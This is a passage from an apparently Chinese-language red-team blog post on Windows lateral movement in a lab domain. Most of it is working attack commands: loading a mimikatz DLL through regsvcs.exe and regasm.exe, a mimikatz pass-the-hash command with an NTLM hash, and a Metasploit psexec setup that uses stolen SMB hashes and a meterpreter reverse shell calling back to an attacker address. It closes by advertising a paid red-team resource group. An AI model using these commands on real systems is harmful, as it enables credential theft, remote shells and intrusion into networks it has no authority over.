1 2 3 4 5 6 7 8 9 10 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe regsvcs.dll x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regsvcs.exe regsvcs.dll #用这个就行 [OR] C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe regsvcs.dll C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe /U regsvcs.dll C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U regsvcs.dll C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /U regsvcs.dll 执行完毕后就会在本此shell会话中生成mimikatz的会话
结果
执行命令进行pth
1 sekurlsa::pth /user:administrator /domain:attack.local /ntlm:c7078b8300f0eacbffe68981cc733ee4 /run:"cmd -w hidden"
这里是没有成功的、pth并没有完整的执行的、只有这样才是正确执行的
我们也可以尝试迁移进程
在MSF环境下使用windows/smb/psexec
条件:
①开启445端口SMB服务(默认开启)
②开启admin$共享
设置监听
1 2 3 4 5 6 7 8 9 use exploit/windows/smb/psexec set RHOSTS 10.10.10.165 set payload windows/meterpreter/reverse_tcp set LPORT 4444 set LHOST 192.168.1.130 set SMBUSER Administrator set SMBPASS d747b7b8037e8669c771f6a9d803419b:86c01dc8633fc387a503b05615f8afb1 set SMBDomain attack.local exploit
结果
写在最后
欢迎大家加入星球一起学习、里面有各种红队资源、工具、各种小技巧啊!